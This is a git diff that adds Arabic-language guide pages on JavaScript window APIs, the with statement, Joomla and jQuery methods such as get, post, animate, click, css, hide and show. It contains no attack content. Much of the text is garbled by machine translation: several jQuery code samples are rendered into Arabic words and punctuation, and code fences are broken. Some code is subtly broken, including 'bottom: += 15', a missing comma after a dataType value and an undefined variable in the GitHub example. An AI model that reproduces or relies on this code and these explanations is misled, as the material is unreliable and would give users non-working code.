+لمسح السعة التخزينية بالكامل (وليس فقط عنصرًا فرديًا) ، يمكننا استخدام:
+
+ `localStorage.clear(); 
+` 
+
+للحصول على عدد الخصائص في السعة التخزينية:
+
+ `localStorage.length; 
+` 
+
+#### معلومات اكثر:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/window-location/index.md b/client/src/guide/arabic/javascript/window-location/index.md
new file mode 100644
index 0000000000..0dae19e3bb
--- /dev/null
+++ b/client/src/guide/arabic/javascript/window-location/index.md
@@ -0,0 +1,24 @@
+---
+title: Window Location
+localeTitle: موقع النافذة
+---
+## موقع النافذة
+
+يمكن استخدام كائن `window.location` للحصول على معلومات حول عنوان الصفحة الحالي (URL) ولإعادة توجيه المستعرض إلى صفحة جديدة.
+
+و `window.location` الكائن يمكن كتابة دون `window` البادئة، مجرد `location` .
+
+#### بعض الأمثلة:
+
+*   `window.location.href` بإرجاع href (عنوان URL) الخاص بالصفحة الحالية
+*   `window.location.hostname` بإرجاع اسم المجال لمضيف الويب
+*   `window.location.host` بإرجاع اسم المضيف وأي منفذ مرتبط به
+*   `window.location.pathname` بإرجاع المسار واسم الصفحة الحالية
+*   `window.location.protocol` يعيد بروتوكول الويب المستخدم (http: أو https :)
+*   تحميل `window.location.assign()` مستند جديد
+
+#### معلومات اكثر:
+
+[W3C](https://www.w3schools.com/js/js_window_location.asp)
+
+[MDN](https://developer.mozilla.org/docs/Web/API/Window/location)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/window-open-method/index.md b/client/src/guide/arabic/javascript/window-open-method/index.md
new file mode 100644
index 0000000000..80c47ec719
--- /dev/null
+++ b/client/src/guide/arabic/javascript/window-open-method/index.md
@@ -0,0 +1,36 @@
+---
+title: Window Open Method
+localeTitle: نافذة طريقة مفتوحة
+---
+## نافذة طريقة مفتوحة
+
+يمكن استخدام الأسلوب `open()` لتحميل مورد محدد في سياق الاستعراض (الإطار أو علامة التبويب) بالاسم المحدد. إذا لم يكن هذا الاسم موجودًا ، فسيتم إنشاء نافذة جديدة ويتم تحميل المورد في السياق الخاص به.
+
+## Prameters
+
+`url` يشير DOMString إلى المورد المراد تحميله. يمكن أن يكون هذا مسارًا أو عنوان URL لأي مورد يدعمه المتصفح.
+
+`windowName` DOMString الذي يحدد اسم سياق التصفح (النافذة أو علامة التبويب) الذي سيتم تحميل المحتوى عليه ؛ إذا كان الاسم لا يشير إلى سياق موجود ، يتم إنشاء إطار جديد ويتم إعطاؤه الاسم المحدد بواسطة windowName. يمكن استخدام هذا الاسم بعد ذلك كهدف للارتباطات والنماذج من خلال تحديده على أنه السمة الهدف.
+
+`windowFeatures` `optional` DOMString يحتوي على قائمة مفصولة بفواصل لميزات النوافذ مع القيم المطابقة لها في النموذج "name = value". تتضمن هذه الميزات خيارات مثل الحجم الافتراضي للموقف والموضع في النافذة وما إلى ذلك.
+
+## بناء الجملة
+
+ `  var window =  window.open(url, windowName, [windowFeatures]); 
+` 
+
+## مثال
+
+ `var windowObjectReference; 
+ var strWindowFeatures = "menubar=yes,location=yes,resizable=yes,scrollbars=yes,status=yes"; 
+ 
+ function openRequestedPopup() { 
+  windowObjectReference = window.open("http://www.cnn.com/", "CNN_WindowName", strWindowFeatures); 
+ } 
+` 
+
+إذا كانت هناك نافذة تحمل الاسم بالفعل ، فسيتم تحميل strURL في النافذة الحالية. في هذه الحالة ، تكون قيمة الإرجاع للطريقة هي النافذة الموجودة ويتم تجاهل strWindowFeatures.
+
+#### معلومات اكثر:
+
+[MDN Docs](https://developer.mozilla.org/en-US/docs/Web/API/Window/open)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/window-setinterval-method/index.md b/client/src/guide/arabic/javascript/window-setinterval-method/index.md
new file mode 100644
index 0000000000..7593f4e9d7
--- /dev/null
+++ b/client/src/guide/arabic/javascript/window-setinterval-method/index.md
@@ -0,0 +1,32 @@
+---
+title: Window setInterval Method
+localeTitle: نافذة setInterval الطريقة
+---
+## نافذة setInterval الطريقة
+
+`setInterval()` الأسلوب `setInterval()` دالة أو تقييم تعبير في فواصل زمنية محددة (بالمللي ثانية).
+
+ `    setInterval(function(){ alert("Hello"); }, 3000); 
+` 
+
+سيستمر أسلوب `setInterval()` استدعاء الدالة حتى يتم استدعاء `clearInterval()` أو إغلاق الإطار.
+
+يمكن لأسلوب `setInterval()` تمرير معلمات إضافية للدالة ، كما هو موضح في المثال أدناه.
+
+ `    setInterval(function, milliseconds, parameter1, parameter2, parameter3); 
+` 
+
+يتم `setInterval()` قيمة المعرف التي تم إرجاعها بواسطة `setInterval()` كمعلمة `clearInterval()` .
+
+نصائح:
+
+*   1000 ms = 1 ثانية.
+*   لتنفيذ وظيفة مرة واحدة فقط ، بعد عدد محدد من المللي ثانية ، استخدم الطريقة `setTimeout()` .
+
+#### معلومات اكثر:
+
+الوثائق: [MDN](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setInterval)
+
+JavaScript setInterval () دالة أمثلة: [Sitepoint](https://www.sitepoint.com/setinterval-example/)
+
+وبعض الأمثلة الأخرى: [w3schools](https://www.w3schools.com/jsref/met_win_setinterval.asp)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/window-settimeout-method/index.md b/client/src/guide/arabic/javascript/window-settimeout-method/index.md
new file mode 100644
index 0000000000..06bf394d60
--- /dev/null
+++ b/client/src/guide/arabic/javascript/window-settimeout-method/index.md
@@ -0,0 +1,55 @@
+---
+title: Window setTimeout Method
+localeTitle: نافذة setTimeout الطريقة
+---
+## نافذة setTimeout الطريقة
+
+استدعاء الأسلوب `setTimeout()` دالة أو تقييم تعبير بعد عدد محدد من مللي ثانية.
+
+نصائح:
+
+*   1000 ms = 1 ثانية.
+*   يتم تنفيذ الوظيفة مرة واحدة فقط. إذا كنت بحاجة إلى تكرار التنفيذ ، استخدم الطريقة `setInterval()` .
+*   استخدم الأسلوب `clearTimeout()` لمنع الوظيفة من التشغيل.
+
+إن بناء جملة الأسلوب `setTimout()` كما يلي:
+
+ `setTimeout(function, milliseconds, param1, param2, ...); 
+` 
+
+فمثلا:
+
+ `setTimeout(function(){ alert("Hello"); }, 3000); 
+` 
+
+شيء مهم جداً حول `setTimeout()` هو أنه سيتم تنفيذه بشكل غير متزامن. لنأخذ مثال على ذلك:
+
+ `console.log("A"); 
+ setTimeout(function(){ console.log("B"); }, 0); 
+ console.log("C"); 
+ // The order in the console will be 
+ // A 
+ // C 
+ // B 
+` 
+
+**ليس كما exepected! لكننا نحدد فقط 0 ثانية !!!** لحل هذه المشكلة والتأكد من تنفيذ الكود الخاص بنا بشكل متزامن ، يجب علينا فقط ضبط وحدة التحكم الأخيرة في الوظيفة
+
+ `console.log("A"); 
+ setTimeout(function() { 
+    console.log("B"); 
+    console.log("C"); 
+ }, 0); 
+ // The order in the console will be 
+ // A 
+ // B 
+ // C 
+` 
+
+#### معلومات اكثر:
+
+الوثائق: [MDN](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout)
+
+مزيد من الأمثلة عن وظيفة setTimeout: [w3schools](https://www.w3schools.com/jsref/met_win_settimeout.asp)
+
+لفهم حقيقة ما يحدث تحت غطاء المحرك ، شاهد هذا الفيديو الرائع [فيليب روبرتس: ما هيك هو حلقة الحدث على أي حال؟ | JSConf EU 2014](https://www.youtube.com/watch?v=8aGhZQkoFbQ)
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/with/index.md b/client/src/guide/arabic/javascript/with/index.md
new file mode 100644
index 0000000000..e4c585efc5
--- /dev/null
+++ b/client/src/guide/arabic/javascript/with/index.md
@@ -0,0 +1,70 @@
+---
+title: With
+localeTitle: مع
+---
+## مع
+
+جافا سكريبت `with` بيان هو وسيلة مختصرة لتحرير العديد من الخصائص على كائن واحد. معظم المطورين تثبيط استخدام `with` ، وكنت أفضل عدم استخدام هذه الكلمة.
+
+**ملاحظة:** `"strict mode"` يحظر استخدام `with` .
+
+### بناء الجملة
+
+ `with (expression) 
+  statement 
+` 
+
+### مثال للاستخدام
+
+في JavaScript ، يمكنك تعديل خصائص أحد الكائنات على حدة مثل أدناه:
+
+ `let earth = {}; 
+ earth.moons = 1; 
+ earth.continents = 7; 
+` 
+
+`with` يمنحك اختصار لتعديل الخصائص على كائن:
+
+ `with (earth) { 
+  moons = 1; 
+  continents = 7; 
+ } 
+` 
+
+في حين أن هذا المثال مفتعل ، يمكنك فهم حالات الاستخدام `with` المزيد إذا كان لديك كائنات أكبر مثل أدناه:
+
+ `earth.continents.australia.geography.ocean = "Pacific"; 
+ earth.continents.australia.geography.river = "Murray"; 
+ earth.continents.australia.geography.mountain = "Kosciuszko"; 
+` 
+
+### البدائل
+
+يجب عدم استخدامه `with` وجود مشكلات بسيطة في الأخطاء والتوافق. يتمثل أسلوب موصى به للغاية في تعيين الكائن إلى متغير ، ثم تعديل خصائص المتغير. هنا مثال على استخدام كائن أكبر:
+
+ `let earth = { 
+  continents: { 
+    australia: { 
+      geography: {} 
+    } 
+  } 
+ }; 
+ 
+ let geo = earth.continents.australia.geography; 
+ 
+ geo.ocean = "Pacific"; 
+ geo.river = "Murray"; 
+ geo.mountain = "Kosciuszko"; 
+` 
+
+### حاول
+
+https://repl.it/Mixg/5
+
+#### معلومات اكثر:
+
+[https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/with](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/with)
+
+[https://yuiblog.com/blog/2006/04/11/with-statement-considered-harmful/](https://yuiblog.com/blog/2006/04/11/with-statement-considered-harmful/)
+
+[http://2ality.com/2011/06/with-statement.html](http://2ality.com/2011/06/with-statement.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/joomla/index.md b/client/src/guide/arabic/joomla/index.md
new file mode 100644
index 0000000000..b1eb085349
--- /dev/null
+++ b/client/src/guide/arabic/joomla/index.md
@@ -0,0 +1,15 @@
+---
+title: Joomla
+localeTitle: جملة
+---
+# جملة
+
+جملة! هو نظام إدارة محتوى مجاني ومفتوح المصدر (CMS) مبني على إطار تطبيق ويب للتحكم في عرض نموذج يمكن استخدامه بشكل مستقل عن CMS. تم تطويره بواسطة Open Source Matters، Inc.
+
+جملة! مكتوب في البرمجة الشيئية (OOP) PHP. يمكن تخزين البيانات في MySQL أو PostgreSQL أو MS SQL. تتضمن الميزات التخزين المؤقت للصفحة ، وخلاصات RSS ، وإصدارات صفحات قابلة للطباعة ، ومضات الأخبار ، والمدونات ، والبحث ، ودعم تدويل اللغة.
+
+### معلومات اكثر
+
+[وثائق جملة: دليل المجتمع التعاوني عبر الإنترنت](https://docs.joomla.org/)
+
+[جملة! بوابة المطورين](https://docs.joomla.org/Portal:Developers)
\ No newline at end of file
diff --git a/client/src/guide/arabic/jquery/index.md b/client/src/guide/arabic/jquery/index.md
new file mode 100644
index 0000000000..c9afd0c278
--- /dev/null
+++ b/client/src/guide/arabic/jquery/index.md
@@ -0,0 +1,30 @@
+---
+title: jQuery
+localeTitle: مسج
+---
+## مسج
+
+![logo](https://upload.wikimedia.org/wikipedia/en/thumb/9/9e/JQuery_logo.svg/250px-JQuery_logo.svg.png "شعار jQuery")
+
+jQuery هي مكتبة جافا سكريبت الأكثر استخدامًا ، وتستخدم في أكثر من نصف جميع المواقع الرئيسية.
+
+يجعل jQuery تطوير الويب أسهل من خلال توفير عدد من وظائف "المساعد". تساعد هذه المطورين على كتابة تفاعلات DOM (نموذج كائن معين) بسرعة دون الحاجة إلى الكتابة اليدوية بنفس مقدار جافا سكريبت نفسها.
+
+يضيف jQuery متغيرًا عامًا مع جميع أساليب المكتبات المرفقة. اصطلاح التسمية هو أن يكون هذا المتغير الشامل هو `$` . عن طريق كتابة `$.` لديك جميع أساليب jQuery تحت تصرفكم.
+
+## مثال
+
+عندما ينقر مستخدم على زر ، كل شيء
+
+سيتم إخفاء العناصر:
+
+ `$(document).ready(function(){ 
+    $("button").click(function(){ 
+        $("p").hide(); 
+    }); 
+ }); 
+` 
+
+#### معلومات اكثر
+
+*   [jQuery الصفحة الرئيسية](https://jquery.com/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/jquery/jquery-ajax-get-method/index.md b/client/src/guide/arabic/jquery/jquery-ajax-get-method/index.md
new file mode 100644
index 0000000000..783b36c9c9
--- /dev/null
+++ b/client/src/guide/arabic/jquery/jquery-ajax-get-method/index.md
@@ -0,0 +1,46 @@
+---
+title: jQuery Ajax Get Method
+localeTitle: jQuery اياكس الحصول على طريقة
+---
+## jQuery اياكس الحصول على طريقة
+
+يرسل طلب GET http غير متزامن لتحميل البيانات من الخادم. شكله العام هو:
+
+ `jQuery.get( url [, data ] [, success ] [, dataType ] ) 
+` 
+
+*   `url` : المعلمة الإلزامية الوحيدة. تحتوي هذه السلسلة على العنوان الذي تريد إرسال الطلب إليه. سيتم تجاهل البيانات التي تم إرجاعها في حالة عدم تحديد أي معلمة أخرى.
+*   `data` : يتم إرسال كائن عادي أو سلسلة إلى الخادم مع الطلب.
+*   `success` : وظيفة رد اتصال تم تنفيذها في حالة نجاح الطلب. يستغرق كحجة البيانات التي تم إرجاعها. يتم تمريره أيضا حالة النص للاستجابة.
+*   `dataType` : نوع البيانات المتوقع من الخادم. الافتراضي هو Intelligent Guess (xml ، json ، script ، text ، html). إذا تم توفير هذه المعلمة ، فيجب أيضًا توفير رد الاتصال بنجاح.
+
+#### أمثلة
+
+طلب `resource.json` من الخادم وإرسال بيانات إضافية وتجاهل النتيجة المرتجعة: \`\` \`جافا سكريبت $ .get ('http://example.com/resource.json'، {category: 'client'، type: 'premium'})؛
+
+ ``Request `resource.json` from the server, send additional data, and handle the returned response (json format): 
+ ```javascript 
+ $.get('http://example.com/resource.json', {category:'client', type:'premium'}, function(response) { 
+      alert("success"); 
+      $("#mypar").html(response.amount); 
+ }); 
+`` 
+
+يمكن كتابة المثال أعلاه كما يلي: \`\` \`جافا سكريبت $ .get ('http://example.com/resource.json'، {category: 'client'، type: 'premium'}) دون (وظيفة (استجابة) { في حالة تأهب ( "النجاح")؛ . $ ( "# MYPAR") أتش تي أم أل (response.amount)؛ })؛
+
+ ``### jQuery.ajax() 
+ `$.get( url [, data ] [, success ] [, dataType ] )` is a shorthand Ajax function, equivalent to: 
+ ```javascript 
+ $.ajax({ 
+      url: url, 
+      data: data, 
+      success: success, 
+      dataType: dataType 
+ }); 
+`` 
+
+`$.ajax()` الكثير من الخيارات الإضافية ، وكلها موجودة [هنا](http://api.jquery.com/jquery.ajax/) .
+
+#### معلومات اكثر:
+
+لمزيد من المعلومات ، يرجى زيارة الموقع [الرسمي jQuery.get](https://api.jquery.com/jquery.get/) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/jquery/jquery-ajax-post-method/index.md b/client/src/guide/arabic/jquery/jquery-ajax-post-method/index.md
new file mode 100644
index 0000000000..d4f6fda8bf
--- /dev/null
+++ b/client/src/guide/arabic/jquery/jquery-ajax-post-method/index.md
@@ -0,0 +1,63 @@
+---
+title: jQuery Ajax Post Method
+localeTitle: jQuery Ajax Post Method
+---
+## jQuery Ajax Post Method
+
+يرسل طلب HTTP POST غير متزامن لتحميل البيانات من الخادم. شكله العام هو:
+
+ `jQuery.post( url [, data ] [, success ] [, dataType ] ) 
+` 
+
+*   url: هي المعلمة الإلزامية الوحيدة. تحتوي هذه السلسلة على العنوان الذي تريد إرسال الطلب إليه. سيتم تجاهل البيانات التي تم إرجاعها في حالة عدم تحديد أي معلمة أخرى
+*   البيانات: كائن عادي أو سلسلة يتم إرسالها إلى الخادم مع الطلب.
+*   success: وظيفة رد اتصال يتم تنفيذها في حالة نجاح الطلب. ويأخذ كوسيطة البيانات التي تم إرجاعها. يتم تمريره أيضا حالة النص للاستجابة.
+*   dataType: نوع البيانات المتوقع من الخادم. الافتراضي هو Intelligent Guess (xml ، json ، script ، text ، html). إذا تم توفير هذه المعلمة ، فيجب تقديم رد الاتصال بنجاح أيضًا.
+
+#### أمثلة
+
+ `$.post('http://example.com/form.php', {category:'client', type:'premium'}); 
+` 
+
+طلبات `form.php` من الخادم ، وإرسال بيانات إضافية وتجاهل النتيجة التي تم إرجاعها
+
+ `$.post('http://example.com/form.php', {category:'client', type:'premium'}, function(response){ 
+      alert("success"); 
+      $("#mypar").html(response.amount); 
+ }); 
+` 
+
+طلبات `form.php` من الخادم ، وإرسال بيانات إضافية والتعامل مع الاستجابة المرتجعة (تنسيق json). يمكن كتابة هذا المثال بهذا التنسيق:
+
+ `$.post('http://example.com/form.php', {category:'client', type:'premium'}).done(function(response){ 
+      alert("success"); 
+      $("#mypar").html(response.amount); 
+ }); 
+` 
+
+يقوم المثال التالي بنشر نموذج باستخدام Ajax ووضع النتائج في div \`\` \`أتش تي أم أل  jQuery.post التجريبي 
+
+ 
+
+// Attach a submit handler to the form $( "#searchForm" ).submit(function( event ) { // Stop form from submitting normally event.preventDefault(); // Get some values from elements on the page: var $form = $( this ), term = $form.find( "input\[name='s'\]" ).val(), url = $form.attr( "action" ); // Send the data using post var posting = $.post( url, { s: term } ); // Put the results in a div posting.done(function( data ) { var content = $( data ).find( "#content" ); $( "#result" ).empty().append( content ); }); });
+
+ `The following example use the github api to fetch the list of repositories  of a user  using jQuery.ajax() and put results in a div 
+` 
+
+أتش تي أم أل 
+
+ 
+
+// Attach a submit handler to the form $( "#userForm" ).submit(function( event ) { // Stop form from submitting normally event.preventDefault(); // Get some values from elements on the page: var $form = $( this ), username = $form.find( "input\[name='username'\]" ).val(), url = "https://api.github.com/users/"+username+"/repos"; // Send the data using post var posting = $.post( url, { s: term } ); //Ajax Function to send a get request $.ajax({ type: "GET", url: url, dataType:"jsonp" success: function(response){ //if request if made successfully then the response represent the data $( "#result" ).empty().append( response ); } }); });
+
+ ``### jQuery.ajax() 
+ `$.post( url [, data ] [, success ] [, dataType ] )` is a shorthand Ajax function, equivalent to: 
+`` 
+
+جافا سكريبت .ajax $ ({ النوع: "POST" ، url: url ، البيانات: البيانات ، النجاح: النجاح ، dataType: dataType })؛ \`\` \`
+
+`$.ajax()` يوفر المزيد من الخيارات التي يمكن العثور عليها [هنا](http://api.jquery.com/jquery.ajax/)
+
+#### معلومات اكثر:
+
+لمزيد من المعلومات ، يرجى زيارة [الموقع الرسمي](https://api.jquery.com/jquery.post/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/jquery/jquery-animate/index.md b/client/src/guide/arabic/jquery/jquery-animate/index.md
new file mode 100644
index 0000000000..1753eab720
--- /dev/null
+++ b/client/src/guide/arabic/jquery/jquery-animate/index.md
@@ -0,0 +1,28 @@
+---
+title: jQuery Animate
+localeTitle: jQuery تحريك
+---
+## jQuery تحريك
+
+طريقة jQuery المتحركة تجعل من السهل إنشاء رسوم متحركة بسيطة ، باستخدام بضعة أسطر من التعليمات البرمجية فقط. الهيكل الأساسي هو على النحو التالي:
+
+ `$(".selector").animate(properties, duration, callbackFunction()); 
+` 
+
+بالنسبة لوسيطة `properties` تحتاج إلى تمرير كائن javascript ، مع خصائص CSS التي تريد تحريكها كمفاتيح ، والقيم التي تريد تحريكها كقيم. `duration` التي تحتاجها لإدخال مقدار الوقت بالمللي ثانية يجب أن تأخذ الرسوم المتحركة. يتم تنفيذ `callbackFunction()` بمجرد الانتهاء من الرسوم المتحركة.
+
+### مثال
+
+مثال بسيط سيبدو هكذا:
+
+ `$(".awesome-animation").animate({ 
+    opacity: 1, 
+    bottom: += 15 
+ }, 1000, function() { 
+    $(".different-element").hide(); 
+ }); 
+` 
+
+#### معلومات اكثر:
+
+لمزيد من المعلومات ، يرجى زيارة [الموقع الرسمي](http://api.jquery.com/animate/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/jquery/jquery-click-method/index.md b/client/src/guide/arabic/jquery/jquery-click-method/index.md
new file mode 100644
index 0000000000..5044bba597
--- /dev/null
+++ b/client/src/guide/arabic/jquery/jquery-click-method/index.md
@@ -0,0 +1,92 @@
+---
+title: Click Method
+localeTitle: انقر فوق الطريقة
+---
+# انقر فوق الطريقة
+
+تقوم طريقة jQuery Click بتشغيل وظيفة عند النقر على عنصر. تُعرف الدالة باسم "معالج" لأنه يعالج الحدث النقر. وظائف يمكن التأثير على عنصر HTML المرتبط بالنقرة باستخدام طريقة jQuery Click أو يمكنهم تغيير شيء آخر تمامًا. الشكل الأكثر استخدامًا هو:
+
+ `$("#clickMe").click(handler) 
+` 
+
+تأخذ طريقة النقر وظيفة المعالج كوسيطة وتقوم بتنفيذها في كل مرة يتم فيها النقر `#clickMe` عنصر `#clickMe` . الدالة معالج يتلقى المعلمة المعروفة باسم [eventObject](http://api.jquery.com/Types/#Event) والتي يمكن أن تكون مفيدة للتحكم في الإجراء.
+
+#### أمثلة
+
+يعرض هذا الرمز تنبيهًا عندما ينقر المستخدم على زر:
+
+ `
+<button id="alert">Click Here</button> 
+` 
+
+ `$("#alert").click(function () { 
+  alert("Hi! I'm an alert"); 
+ }); 
+` 
+
+[jsFiddle](https://jsfiddle.net/pL63cL6m/)
+
+يحتوي [eventObject](http://api.jquery.com/Types/#Event) على بعض الأساليب المضمنة ، بما في ذلك `preventDefault()` ، الذي يقوم بما يقوله بالضبط - يتوقف الحدث الافتراضي لعنصر. نحن هنا نرسم علامة المرساة من العمل كرابط:
+
+ `
+<a id="myLink" href="www.google.com">Link to Google</a> 
+` 
+
+ `$("#myLink").click(function (event) { 
+  event.preventDefault(); 
+ }); 
+` 
+
+[jsFiddle](https://jsfiddle.net/dy457gbh/)
+
+#### المزيد من الطرق للعب مع طريقة النقر
+
+يمكن أيضًا أن تقبل وظيفة المعالج بيانات إضافية في شكل كائن:
+
+ `jqueryElement.click(usefulInfo, handler) 
+` 
+
+يمكن أن تكون البيانات من أي نوع.
+
+ `$("element").click({firstWord: "Hello", secondWord: "World"}, function(event){ 
+    alert(event.data.firstWord); 
+    alert(event.data.secondWord); 
+ }); 
+` 
+
+يؤدي استدعاء طريقة النقر بدون دالة معالج إلى تشغيل حدث نقرة:
+
+ `$("#alert").click(function () { 
+  alert("Hi! I'm an alert"); 
+ }); 
+ 
+ $("#alert").click(); 
+` 
+
+الآن ، عندما يتم تحميل الصفحة ، سيتم تشغيل حدث النقر عند إدخال الصفحة أو إعادة تحميلها ، وإظهار التنبيه المحدد.
+
+كما يجب عليك استخدام .on ('click'،…) over .click (…) لأن الأول يمكنه استخدام ذاكرة أقل والعمل على العناصر المضافة ديناميكيًا.
+
+[jsFiddle](https://jsfiddle.net/gspk6gxt/)
+
+#### الأخطاء الشائعة
+
+يرتبط حدث النقر فقط بالعناصر الموجودة حاليًا على DOM في وقت الربط ، لذا لن تكون أية عناصر مضافة بعد ذلك مرتبطة. لربط جميع عناصر في DOM ، حتى إذا تم إنشاؤها في وقت لاحق ، استخدم الأسلوب `.on()` .
+
+على سبيل المثال ، مثال أسلوب النقر هذا:
+
+ `$( "element" ).click(function() { 
+  alert("I've been clicked!"); 
+ }); 
+` 
+
+يمكن تغييره في هذا المثال على سبيل المثال:
+
+ `$( document ).on("click", "element", function() { 
+  alert("I've been clicked!"); 
+ }); 
+` 
+
+#### معلومات اكثر:
+
+لمزيد من المعلومات ، يرجى زيارة [الموقع الرسمي](https://api.jquery.com/click/#click) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/jquery/jquery-css-method/index.md b/client/src/guide/arabic/jquery/jquery-css-method/index.md
new file mode 100644
index 0000000000..fbf25ca289
--- /dev/null
+++ b/client/src/guide/arabic/jquery/jquery-css-method/index.md
@@ -0,0 +1,52 @@
+---
+title: CSS Method
+localeTitle: طريقة CSS
+---
+## طريقة CSS
+
+يحصل الأسلوب jQuery `.css()` على قيمة خاصية نمط محسوب للعنصر الأول في مجموعة العناصر المتطابقة أو قم بتعيين واحد أو أكثر من خصائص CSS لكل عنصر متطابق.
+
+### الحصول على
+
+لإرجاع قيمة خاصية CSS محددة ، استخدم بناء الجملة التالي:
+
+ `    $(selector).css(propertyName); 
+` 
+
+على سبيل المثال:
+
+ `    $('#element').css('background'); 
+` 
+
+ملاحظة: هنا يمكننا استخدام أي css selector على سبيل المثال: element (HTML Tag selector) و .element (Class Selector) و #element (ID selector).
+
+### ضبط
+
+لتعيين خاصية CSS محددة ، استخدم بناء الجملة التالي:
+
+ `    $(selector).css(propertyName,value); 
+` 
+
+على سبيل المثال:
+
+ `    $('#element').css('background','red'); 
+` 
+
+لتعيين خصائص CSS متعددة ، سيكون عليك استخدام بناء الجملة الحرفية للكائن مثل هذا:
+
+ `    $('#element').css({ 
+        'background': 'gray', 
+        'color': 'white' 
+    }); 
+` 
+
+إذا كنت ترغب في تغيير خاصية تحمل أكثر من كلمة واحدة ، فارجع إلى هذا المثال:
+
+لتغيير `background-color` عنصر ما
+
+ `    $('#element').css('background-color', 'gray'); 
+` 
+
+#### معلومات اكثر:
+
+التوثيق: [api.jquery](http://api.jquery.com/css/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/jquery/jquery-effects-hide-method/index.md b/client/src/guide/arabic/jquery/jquery-effects-hide-method/index.md
new file mode 100644
index 0000000000..e71634dd93
--- /dev/null
+++ b/client/src/guide/arabic/jquery/jquery-effects-hide-method/index.md
@@ -0,0 +1,52 @@
+---
+title: jQuery Effects Hide Method
+localeTitle: jQuery الآثار طريقة إخفاء
+---
+## مسج اخفاء طريقة
+
+في أبسط أشكالها ، يخفي **.hide ()** العنصر المتطابق على الفور ، بدون رسوم متحركة. فمثلا:
+
+ `$(".myclass").hide() 
+` 
+
+سوف يخفي كل العناصر التي الطبقة هي _myclass_ . يمكن استخدام أي محدد jQuery.
+
+### .hide () كطريقة الرسوم المتحركة
+
+بفضل خياراته ، يمكن لـ **.hide ()** تحريك العرض والارتفاع والعتامة للعناصر المتطابقة في وقت واحد.
+
+*   يمكن توفير المدة بالمللي ثانية أو باستخدام القيم الحرفية البطيئة (600 مللي ثانية) وبسرعة (200 مللي ثانية). فمثلا:
+
+ `$("#myobject").hide(800) 
+` 
+
+*   يمكن تحديد وظيفة ليتم استدعاؤها بمجرد اكتمال الرسوم المتحركة ، مرة واحدة لكل عنصر متطابق. هذا الاستدعاء مفيد بشكل أساسي في ربط الصور المتحركة المختلفة. فمثلا
+
+ `$("p").hide( "slow", function() { 
+      $(".titles").hide("fast"); 
+      alert("No more text!"); 
+ }); 
+  ``` 
+ * More options exist, please refer to the official website for further details. 
+ 
+ ### .toggle() method 
+ 
+ To show / hide elements you can use ```toggle()``` method. If element is hidden ```toggle()``` will show it and vice versa. 
+ Usage: 
+` 
+
+جافا سكريبت $ ( ". myclass"). تبديل () \`\` \`
+
+### طريقة .slideDown ()
+
+يقوم هذا الأسلوب بتحريك ارتفاع العناصر المتطابقة. يؤدي ذلك إلى انخفاض أجزاء من الصفحة لأسفل ، مما يجعل الطريق للعناصر التي تم الكشف عنها. الاستعمال:
+
+ `$(".myclass").slideDown(); //will expand the element with the identifier myclass for 400 ms. 
+ $(".myclass").slideDown(1000); //will expand the element with the identifier myclass for 1000 ms. 
+ $(".myclass").slideDown("slow"); //will expand the element with the identifier myclass for 600 ms. 
+ $(".myclass").slideDown("fast"); //will expand the element with the identifier myclass for 200 ms. 
+` 
+
+#### معلومات اكثر:
+
+طريقة إخفاء jQuery () على [الموقع الرسمي](http://api.jquery.com/hide/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/jquery/jquery-effects-show-method/index.md b/client/src/guide/arabic/jquery/jquery-effects-show-method/index.md
new file mode 100644
index 0000000000..714438103b
--- /dev/null
+++ b/client/src/guide/arabic/jquery/jquery-effects-show-method/index.md
@@ -0,0 +1,42 @@
+---
+title: jQuery Effects Show Method
+localeTitle: طريقة jQuery تظهر طريقة
+---
+## طريقة jQuery تظهر طريقة
+
+في أبسط أشكالها ، يعرض **.show ()** العنصر المطابق على الفور ، بدون رسوم متحركة. فمثلا:
+
+ `$(".myclass").show(); 
+` 
+
+سوف تظهر جميع العناصر التي الطبقة هي _myclass_ . يمكن استخدام أي محدد jQuery.
+
+ومع ذلك ، لا تتخطى هذه الطريقة `!important` في نمط CSS ، مثل `display: none !important` .
+
+### .show () كطريقة للرسوم المتحركة
+
+بفضل خياراته ، يمكن أن **يؤدي .show () إلى** تحريك العرض والطول والعتامة للعناصر المتطابقة في وقت واحد.
+
+*   يمكن توفير المدة بالمللي ثانية أو باستخدام القيم الحرفية البطيئة (600 مللي ثانية) وبسرعة (200 مللي ثانية). فمثلا:
+
+ `$("#myobject").show("slow"); 
+` 
+
+*   يمكن تحديد وظيفة ليتم استدعاؤها بمجرد اكتمال الرسوم المتحركة ، مرة واحدة لكل عنصر متطابق. فمثلا
+
+ `$("#title").show( "slow", function() { 
+    $("p").show("fast"); 
+ }); 
+  ``` 
+ * More options exist, please refer to the official website for further details. 
+ 
+ ### .slideDown() method 
+ This method animates the height of the matched elements. This causes lower parts of the page to slide down, making way for the revealed items. 
+ Usage: 
+` 
+
+جافا سكريبت $ ( "myclass.") slideDown ()؛ // سيتم توسيع العنصر مع myclass المعرّف لمدة 400 مللي ثانية. $ ( ". myclass") slideDown (1000)؛ // سيتم توسيع العنصر مع myclass المعرّف لـ 1000 مللي ثانية. $ ( "myclass.") slideDown ( "بطيء")؛ // سيتم توسيع العنصر مع myclass المعرّف لـ 600 مللي ثانية. $ ( ". myclass") slideDown ( "سريع")؛ // سيتم توسيع العنصر مع myclass المعرّف لـ 200 مللي ثانية. \`\` \`
+
+#### معلومات اكثر:
+
+طريقة JQuery Show () على [الموقع الرسمي](http://api.jquery.com/show/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/jquery/jquery-event-method/index.md b/client/src/guide/arabic/jquery/jquery-event-method/index.md
new file mode 100644
